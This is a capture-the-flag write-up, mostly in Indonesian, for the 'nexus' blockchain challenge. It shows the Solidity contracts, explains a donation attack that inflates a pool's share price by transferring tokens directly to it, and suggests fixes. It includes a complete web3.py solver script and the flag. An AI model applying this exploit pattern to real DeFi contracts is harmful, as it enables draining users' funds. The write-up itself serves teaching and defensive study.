Writeup Aria
C2C QualificationBlockchain

nexus

1771212608953

description

Author: chovid99

The essence of nexus. Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-nexus

Attachments

Setup.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./Essence.sol";
import "./CrystalNexus.sol";

contract Setup {
    Essence public essence;
    CrystalNexus public nexus;

    address public player;

    uint256 public constant PLAYER_ESSENCE = 10000 ether;
    uint256 public constant FIRST_ATTUNEMENT = 6000 ether;
    uint256 public constant SECOND_ATTUNEMENT = 9000 ether;
    uint256 public constant ASCENSION_THRESHOLD = 20250 ether;

    bool public ritualsComplete;

    constructor(address _player) {
        player = _player;

        essence = new Essence();
        nexus = new CrystalNexus(address(essence));

        essence.mint(player, PLAYER_ESSENCE);
    }

    function conductRituals() external {
        require(!ritualsComplete, "Rituals already performed");
        ritualsComplete = true;

        essence.mint(address(this), FIRST_ATTUNEMENT + SECOND_ATTUNEMENT);
        essence.approve(address(nexus), type(uint256).max);

        nexus.attune(FIRST_ATTUNEMENT);
        nexus.attune(SECOND_ATTUNEMENT);
    }

    function isSolved() external view returns (bool) {
        return essence.balanceOf(player) > ASCENSION_THRESHOLD;
    }
}

Essence.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Essence {
    string public name = "Ethereal Essence";
    string public symbol = "ESS";
    uint8 public decimals = 18;
    address nexus;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    error Unauthorized();

    constructor() {
        nexus = msg.sender;
    }

    modifier auth() {
        if (msg.sender != nexus) revert Unauthorized();
        _;
    }

    function mint(address to, uint256 amount) auth external {
        totalSupply += amount;
        balanceOf[to] += amount;
        emit Transfer(address(0), to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

CrystalNexus.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./Essence.sol";

interface ICrystalReceiver {
    function onCrystalReceived(address from, uint256 amount, uint256 crystals) external returns (bytes4);
}

contract CrystalNexus {
    Essence public immutable essence;

    uint256 public totalCrystals;
    mapping(address => uint256) public crystalBalance;
    mapping(address => bool) public attuned;

    uint256 public constant BASE_FRICTION = 200;
    uint256 public constant DYNAMIC_FRICTION = 2000;
    uint256 public constant PRECISION = 10000;

    uint256 public catalystReserve;
    bool public resonanceActive;
    address public guardian;

    event Attunement(address indexed entity, uint256 essence, uint256 crystals);
    event Dissolution(address indexed entity, uint256 crystals, uint256 essence);
    event CatalystAdded(address indexed donor, uint256 amount);
    event ResonancePulse(address indexed trigger, uint256 amplitude);

    error NotAttuned();
    error AlreadyAttuned();
    error InsufficientCrystals();
    error ResonanceUnstable();
    error GuardianOnly();

    constructor(address _essence) {
        essence = Essence(_essence);
        guardian = msg.sender;
    }

    function amplitude() public view returns (uint256) {
        return essence.balanceOf(address(this)) - catalystReserve;
    }

    function crystalWorth(uint256 crystalAmount) public view returns (uint256) {
        if (totalCrystals == 0) return crystalAmount;
        return (crystalAmount * amplitude()) / totalCrystals;
    }

    function essenceTocrystal(uint256 essenceAmount) public view returns (uint256) {
        uint256 amp = amplitude();
        if (amp == 0 || totalCrystals == 0) return essenceAmount;
        return (essenceAmount * totalCrystals) / amp;
    }

    function calculateFriction(address entity) public view returns (uint256) {
        if (totalCrystals == 0) return BASE_FRICTION;
        uint256 ownership = (crystalBalance[entity] * PRECISION) / totalCrystals;
        uint256 dynamicPart = (ownership * ownership * DYNAMIC_FRICTION) / (PRECISION * PRECISION);
        return BASE_FRICTION + dynamicPart;
    }

    function attune(uint256 essenceAmount) external returns (uint256 crystals) {
        crystals = essenceTocrystal(essenceAmount);

        essence.transferFrom(msg.sender, address(this), essenceAmount);

        totalCrystals += crystals;
        crystalBalance[msg.sender] += crystals;
        attuned[msg.sender] = true;

        if (_isContract(msg.sender)) {
            try ICrystalReceiver(msg.sender).onCrystalReceived(
                msg.sender,
                essenceAmount,
                crystals
            ) returns (bytes4 retval) {
                require(retval == ICrystalReceiver.onCrystalReceived.selector, "Invalid receiver");
            } catch {
                // Contract doesn't implement callback, that's fine
            }
        }

        emit Attunement(msg.sender, essenceAmount, crystals);
    }

    function dissolve(uint256 crystalAmount, address recipient) external returns (uint256 essenceOut) {
        if (crystalBalance[msg.sender] < crystalAmount) revert InsufficientCrystals();

        essenceOut = crystalWorth(crystalAmount);

        uint256 friction = calculateFriction(msg.sender);
        uint256 frictionAmount = (essenceOut * friction) / PRECISION;
        essenceOut -= frictionAmount;

        crystalBalance[msg.sender] -= crystalAmount;
        totalCrystals -= crystalAmount;

        essence.transfer(recipient, essenceOut);

        emit Dissolution(msg.sender, crystalAmount, essenceOut);
    }

    function infuse(uint256 amount) external {
        essence.transferFrom(msg.sender, address(this), amount);
        catalystReserve += amount;
        emit CatalystAdded(msg.sender, amount);
    }

    function activateResonance() external {
        if (!attuned[msg.sender]) revert NotAttuned();

        uint256 amp = amplitude();
        if (amp < 1000 ether) revert ResonanceUnstable();

        resonanceActive = true;
        emit ResonancePulse(msg.sender, amp);
    }

    function claimCatalyst() external {
        if (msg.sender != guardian) revert GuardianOnly();
        if (resonanceActive) revert ResonanceUnstable();

        uint256 amount = catalystReserve;
        catalystReserve = 0;
        essence.transfer(guardian, amount);
    }

    function harmonize(address target) external {
        if (!resonanceActive) revert ResonanceUnstable();
        if (!attuned[target]) revert NotAttuned();

        uint256 targetCrystals = crystalBalance[target];
        uint256 callerCrystals = crystalBalance[msg.sender];

        if (callerCrystals <= targetCrystals) revert InsufficientCrystals();

        uint256 transferAmount = targetCrystals / 10;
        crystalBalance[target] -= transferAmount;
        crystalBalance[msg.sender] += transferAmount;
    }

    function _isContract(address addr) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(addr) }
        return size > 0;
    }
}

Overview

Ringkasan singkat

  • Challenge Nexus adalah soal ekonomi / pool‑manipulation: tujuan pemain adalah menaikkan saldo Essence dari 10000 menjadi > 20250 ESS (nilai ASCENSION_THRESHOLD) sehingga Setup.isSolved() terpenuhi. ✅
  • Intinya: inflate pool amplitude tanpa menambah totalCrystals, lalu redeem sedikit crystal untuk menarik banyak ESS.

Kontrak utama

  • Setup.sol — deploy token (Essence) dan CrystalNexus, mint ESS ke pemain, dan jalankan ritual (attune besar oleh owner).
  • Essence.sol — token ERC‑like (transfer sederhana, mint oleh Setup melalui auth).
  • CrystalNexus.sol — logika pool: attune(), dissolve(), amplitude(), perhitungan crystalWorth / essenceTocrystal, dan friction.

Mekanika penting (high‑level)

  • attune(essenceAmount) menukar ESS → crystals berdasarkan essenceTocrystal() (proporsional terhadap totalCrystals dan amplitude).
  • dissolve(crystalAmount) mengembalikan crystalWorth() dikurangi friction (BASE_FRICTION + dynamic part berdasarkan ownership).
  • amplitude() dihitung dari essence.balanceOf(address(this)) - catalystReserve — yaitu membaca langsung saldo token kontrak.
  • Karena kontrak membaca saldo token eksternal, transfer ESS langsung ke kontrak (tanpa attune) menaikkan amplitude tanpa memperbesar totalCrystals.

Vulnerability — akar masalah (singkat)

  • Desain tidak memproteksi terhadap transfer token langsung ke kontrak; attacker dapat meningkatkan amplitude() tanpa menambah totalCrystals.
  • Hasil: pemegang sedikit crystal bisa menebus share kecil untuk menerima proporsi besar dari cadangan ESS — economic drain.

Eksploit (ringkas)

  1. attune(1) untuk membuat 1 crystal (share kecil).
  2. Transfer hampir semua ESS pemain langsung ke nexus (meningkatkan amplitude() tanpa menambah totalCrystals).
  3. Panggil Setup.conductRituals() (owner attune besar → kondisi pool semakin menguntungkan attacker).
  4. dissolve() crystal kecil tadi → tarik jumlah ESS besar (setelah friction).
  5. Ulangi attune/dissolve jika perlu sampai saldo pemain > ASCENSION_THRESHOLD.

Mengapa ini menyelesaikan challenge

  • Sequence memungkinkan pemain menguras cadangan ESS di CrystalNexus sehingga saldo pemain melewati 20250 ESS → isSolved() terpenuhi. 🎯

Perbaikan singkat yang disarankan

  • Jangan pakai essence.balanceOf(address(this)) langsung sebagai sumber kebenaran; simpan reserve internal dan perbarui hanya lewat attune/dissolve/infuse atau tambahkan sync() untuk mendeteksi transfer eksternal.
  • Validasi bahwa hanya flow kontrak yang dapat mengubah amplitude() atau adjust totalCrystals bila terjadi transfer eksternal.
  • Tambahkan unit test untuk skenario transfer() langsung ke kontrak dan untuk regression pada perhitungan essenceTocrystal/crystalWorth.

Analisis Smart Contract

Tujuan & ringkasan logika

  • CrystalNexus adalah pool ekonomi yang menukar Essencecrystals dan menghitung amplitude() dari saldo ESS kontrak.
  • Tujuan exploit: meningkatnya amplitude() (pool size) tanpa pertambahan totalCrystals sehingga pemilik sedikit crystal dapat menebus (dissolve) nilai yang tidak proporsional.

Variabel & fungsi penting

  • amplitude() — saat ini = essence.balanceOf(address(this)) - catalystReserve (mengandalkan saldo token eksternal).
  • totalCrystals / crystalBalance — jumlah supply crystal dan kepemilikan.
  • attune() — menambah totalCrystals dan memanggil essence.transferFrom(...).
  • dissolve() — menghitung crystalWorth() berdasarkan amplitude(), men-subtract friction lalu essence.transfer(recipient, net).
  • infuse() — menambah catalystReserve (separate dari amplitude).

Root cause (akar masalah)

  • Pool bergantung pada essence.balanceOf(address(this)) untuk menghitung nilai per‑crystal. Karena Essence mengizinkan transfer() langsung ke kontrak, attacker bisa mengirim ESS tanpa memodifikasi totalCrystals.
  • Hal ini menciptakan accounting mismatch: balance token naik tetapi totalCrystals tetap sama → crystalWorth() dan essenceTocrystal() menjadi sangat menguntungkan bagi pemegang crystal kecil.
  • Result: attacker dengan 1 crystal bisa menebus sebagian besar cadangan ESS (setelah friction) — economic drain.

Alur exploit (state transitions, singkat)

  1. Pemain attune(1) → dapat 1 crystal; totalCrystals == 1 (atau kecil).
  2. Pemain transfer(nexus, almost_all_player_ESS)essence.balanceOf(nexus) naik besar, sedangkan totalCrystals tidak berubah.
  3. Owner menjalankan conductRituals()nexus.attune(...) menambah cadangan owner (memperbesar amplitude lebih jauh jika diperlukan).
  4. Pemain dissolve(1, player)crystalWorth(1) dihitung dari amplitude() besar → player menerima jumlah ESS yang jauh lebih besar dari modal awal.
  5. Ulangi jika perlu sampai essence.balanceOf(player) > ASCENSION_THRESHOLD.

Mengapa exploit bekerja (intuitif)

  • Pool menilai kristal terhadap saldo kontrak, bukan terhadap locked reserve internal. Direct token transfer memanipulasi harga tanpa mengubah supply crystal.
  • Tidak ada mekanisme sinkronisasi / proteksi terhadap transfer langsung sehingga attacker dapat menyuntik amplitude gratis.

Dampak & severity

  • Impact: attacker dapat mencuri sebagian besar cadangan ESS dari pool dan menaikkan saldo pemain melewati ambang solve. Severity: High (economic / logic flaw).

Langkah Penyelesaian

Step 0 — Akses RPC Node

Step 1 — Persiapan: dapatkan 1 crystal (attune minimal)

  • panggil essence.approve(nexus_addr, amount) jika diperlukan (solver.py sudah melakukan approve).
  • panggil nexus.attune(1) untuk membuat 1 crystal — ini memberi Anda share kecil di pool.
  • verifikasi: nexus.crystalBalance(player) >= 1 dan nexus.totalCrystals >= 1.

Step 2 — Inflate amplitude (transfer langsung ESS ke kontrak)

  • transfer hampir semua ESS Anda langsung ke nexus menggunakan essence.transfer(nexus_addr, balance - 1).
  • efek: essence.balanceOf(nexus) naik drastis tetapi totalCrystals tetap rendah → amplitude() naik.
  • verifikasi: nexus.amplitude() meningkat signifikan.

Step 3 — Jalankan ritual owner (reseed pool)

  • panggil setup.conductRituals() (owner) — akan attune jumlah besar dari kontrak ke pool.
  • tujuan: menambah cadangan di pool sehingga crystalWorth(1) menjadi sangat besar.
  • verifikasi: nexus.totalCrystals dan nexus.amplitude() berubah sesuai ekspektasi.

Step 4 — Drain pool (dissolve crystal kecil)

  • panggil nexus.dissolve(my_crystals, player) untuk menebus crystal yang Anda pegang (contoh: dissolve(1, player)).
  • hasil: Anda menerima crystalWorth(1) dikurangi friction — karena amplitude besar, jumlah yang didapatkan jauh melebihi modal awal.
  • catatan: Phase 1 biasanya mengembalikan sebagian besar cadangan (script meninggalkan ~5.5k ESS menurut perhitungan friction di kode).

Step 5 — Reseed & drain sisa amplitude (ulang sekali lagi)

  • ketika totalCrystals menjadi 0, buat kembali 1 crystal (attune(1)) dan ulangi dissolve(1) untuk menguras sisa amplitude.
  • verifikasi setelah tiap iterasi: essence.balanceOf(player) bertambah drastis.

Step 6 — Verifikasi solve & ambil flag

  • panggil setup.isSolved() → jika true, buka web launcher untuk melihat flag.
  • verifikasi akhir: essence.balanceOf(player) > ASCENSION_THRESHOLD (20250 ETH dalam unit ESS).

Exploit Script (solver.py)

import os
from web3 import Web3

RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"
WALLET_ADDR = "YOUR_WALLET_ADDRESS"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)

# ABI Minimal
setup_abi = [
    {"inputs":[],"name":"essence","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"nexus","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"conductRituals","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[],"name":"ritualsComplete","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}
]
nexus_abi = [
    {"inputs":[{"internalType":"uint256","name":"essenceAmount","type":"uint256"}],"name":"attune","outputs":[{"internalType":"uint256","name":"crystals","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"internalType":"uint256","name":"crystalAmount","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"}],"name":"dissolve","outputs":[{"internalType":"uint256","name":"essenceOut","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"crystalBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"totalCrystals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"amplitude","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}
]
essence_abi = [
    {"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}
]

essence_abi = [
    {
        "inputs":[{"internalType":"address","name":"spender","type":"address"},
                  {"internalType":"uint256","name":"amount","type":"uint256"}],
        "name":"approve",
        "outputs":[{"internalType":"bool","name":"","type":"bool"}],
        "stateMutability":"nonpayable",
        "type":"function"
    },
    {
        "inputs":[{"internalType":"address","name":"to","type":"address"},
                  {"internalType":"uint256","name":"amount","type":"uint256"}],
        "name":"transfer",
        "outputs":[{"internalType":"bool","name":"","type":"bool"}],
        "stateMutability":"nonpayable",
        "type":"function"
    },
    {
        "inputs":[{"internalType":"address","name":"account","type":"address"}],
        "name":"balanceOf",
        "outputs":[{"internalType":"uint256","name":"","type":"uint256"}],
        "stateMutability":"view",
        "type":"function"
    }
]

setup_contract = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
nexus_addr = setup_contract.functions.nexus().call()
essence_addr = setup_contract.functions.essence().call()

nexus_contract = w3.eth.contract(address=nexus_addr, abi=nexus_abi)
essence_contract = w3.eth.contract(address=essence_addr, abi=essence_abi)

def send_tx(tx_func):
    tx = tx_func.build_transaction({
        'from': account.address,
        'nonce': w3.eth.get_transaction_count(account.address),
        'gasPrice': w3.eth.gas_price
    })
    signed = w3.eth.account.sign_transaction(tx, PRIVKEY)
    res = w3.eth.send_raw_transaction(signed.raw_transaction)
    return w3.eth.wait_for_transaction_receipt(res)

print(f"Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"Total Crystals: {nexus_contract.functions.totalCrystals().call()}")

# ===================== Before State =====================
print(f"{'='*30}\n[+] Before state: \n{'='*30}")
print(f"[*] Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"[*] Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"[*] Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"[*] Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"[*] Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"[*] Total Crystals: {nexus_contract.functions.totalCrystals().call()}")

# ===================== Solver =====================
print(f"{'='*30}\n[+] Solver: \n{'='*30}")
print("[*] Approving Essence...")
send_tx(essence_contract.functions.approve(nexus_addr, 2**256-1))

print("[*] Attuning 1 wei...")
send_tx(nexus_contract.functions.attune(1))

print("[*] Direct transfer all ESS except 1 wei...")
balance = essence_contract.functions.balanceOf(account.address).call()
send_tx(essence_contract.functions.transfer(nexus_addr, balance - 1))

print("[*] Trigger ritual...")
send_tx(setup_contract.functions.conductRituals())

# Phase 1: drain (will leave ~5500 ESS due to 22% friction)
my_crystals = nexus_contract.functions.crystalBalance(account.address).call()
print(f"[*] Phase 1 dissolve {my_crystals} crystals...")
send_tx(nexus_contract.functions.dissolve(my_crystals, account.address))

# Phase 2: reseed when totalCrystals == 0, then drain leftover amplitude
print("[*] Phase 2: attune 1 wei to recreate 1 crystal...")
send_tx(nexus_contract.functions.attune(1))

my_crystals = nexus_contract.functions.crystalBalance(account.address).call()
print(f"[*] Phase 2 dissolve {my_crystals} crystals...")
send_tx(nexus_contract.functions.dissolve(my_crystals, account.address))

# ===================== After State =====================
print(f"{'='*30}\n[+] After state: \n{'='*30}")
print(f"[*] Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"[*] Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"[*] Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"[*] Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"[*] Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"[*] Total Crystals: {nexus_contract.functions.totalCrystals().call()}")

if setup_contract.functions.isSolved().call():
    print("[+] Solved! Ambil flag di web.")
else:
    print("[-] Gagal.")

python3 solver.py 1771213683521

Script ini melakukan:

  1. approve() ESS ke nexus (approve unlimited dari player ke Nexus).
  2. attune(1) — buat 1 crystal (share kecil di pool).
  3. transfer(nexus, balance - 1) — transfer hampir semua ESS langsung ke kontrak untuk menaikkan amplitude() (accounting mismatch).
  4. conductRituals() (owner) — owner melakukan attune besar ke pool.
  5. dissolve(my_crystals, player) — redeem crystal pemain untuk 'drain' pool (Phase 1).
  6. attune(1) lalu dissolve(...) lagi — reseed + drain sisa amplitude (Phase 2).
  7. Cek setup.isSolved() dan status akhir (essence.balanceOf(player) > threshold).

setelah itu kita bisa get flag di blockchain laucher nya. 1771213736329

flag

C2C{the_essence_of_nexus_is_donation_hahahaha}

On this page